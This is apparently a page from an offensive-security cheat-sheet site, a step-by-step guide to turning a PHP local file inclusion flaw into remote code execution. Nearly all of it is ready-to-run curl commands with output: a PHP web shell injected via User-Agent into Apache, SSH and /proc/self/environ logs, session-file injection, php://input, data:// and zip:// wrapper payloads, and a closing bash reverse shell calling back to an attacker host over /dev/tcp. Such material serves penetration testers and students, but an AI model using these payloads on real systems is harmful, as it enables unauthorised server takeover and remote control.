Skip to content
HackIndex logo

HackIndex

LFI to Remote Code Execution

4 min read Jul 10, 2026

Confirmed LFI gives you file read. Getting to code execution requires a file you can both write to and include. The most reliable paths are log poisoning when the web server log is readable, session file injection when sessions are stored on disk, and PHP stream wrappers when the PHP configuration allows them. Confirm LFI file read works before attempting any of these.

Log Poisoning — Apache Access Log

The Apache access log records the User-Agent header verbatim. If the log file is readable via LFI, poison it with a PHP payload in the User-Agent and then include the log to execute it.

First confirm the log is readable:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log" | tail -3
10.10.14.5 - - [26/Mar/2026:12:00:01] "GET / HTTP/1.1" 200 4823 "-" "curl/7.88"

If you see log entries, poison the User-Agent with a PHP web shell:

┌──(kali㉿kali)-[~]
└─$ curl -sk -A '<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/

Now trigger execution by including the log with a command parameter:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Other log paths to try if Apache is not the server:

  • Nginx: /var/log/nginx/access.log

  • SSH auth log: /var/log/auth.log — poison by attempting SSH with a PHP payload as username

  • PHP error log: /var/log/php_errors.log

┌──(kali㉿kali)-[~]
└─$ ssh '<?php system($_GET["cmd"]); ?>'@$TARGET_IP 2>/dev/null; curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/auth.log&cmd=id"

PHP Session File Injection

PHP session data is stored in files like /var/lib/php/sessions/sess_SESSIONID. If user-supplied input is stored in the session without sanitization, inject a PHP payload through a login or profile field, then include the session file.

Create a session and inject via a parameter that reflects into session data:

┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/cookie.txt http://$TARGET_IP:$PORT/login.php
┌──(kali㉿kali)-[~]
└─$ curl -sk -b /tmp/cookie.txt -d 'username=<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/profile.php

Extract the session ID from the cookie file and include the session file:

┌──(kali㉿kali)-[~]
└─$ SESSID=$(grep PHPSESSID /tmp/cookie.txt | awk '{print $NF}'); curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/lib/php/sessions/sess_${SESSID}&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP Stream Wrappers

PHP stream wrappers provide alternative code execution paths that don't require writing to disk. Which ones work depends on PHP configuration.

Sends the POST body as the file to include. Requires allow_url_include=On:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:$PORT/index.php?page=php://input&cmd=id" -d '<?php system($_GET["cmd"]); ?>'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Inline execution using a data URI. Requires allow_url_include=On:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=data://text/plain,<?php%20system('id');%20?>"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=data://text/plain;base64,$(echo '<?php system($_GET["cmd"]); ?>' | base64 -w0)&cmd=id"

Requires file upload capability. Upload a zip containing a PHP shell and include it via zip://::

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected]' http://$TARGET_IP:$PORT/upload.php
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=zip://../../uploads/shell.zip%23shell.php&cmd=id"

/proc/self/environ

The environment of the web server process is exposed via /proc/self/environ. If it's readable, inject into the User-Agent header and include the file:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../proc/self/environ" | head -1
SCRIPT_NAME=/index.php SERVER_NAME=10.10.10.50 HTTP_USER_AGENT=curl/7.88
┌──(kali㉿kali)-[~]
└─$ curl -sk -A '<?php system($_GET["cmd"]); ?>' "http://$TARGET_IP:$PORT/index.php?page=../../proc/self/environ&cmd=id"

Reverse Shell Delivery

Once you have command execution through any of the above methods, get a reverse shell. Set up the listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk -A '<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/ && curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

References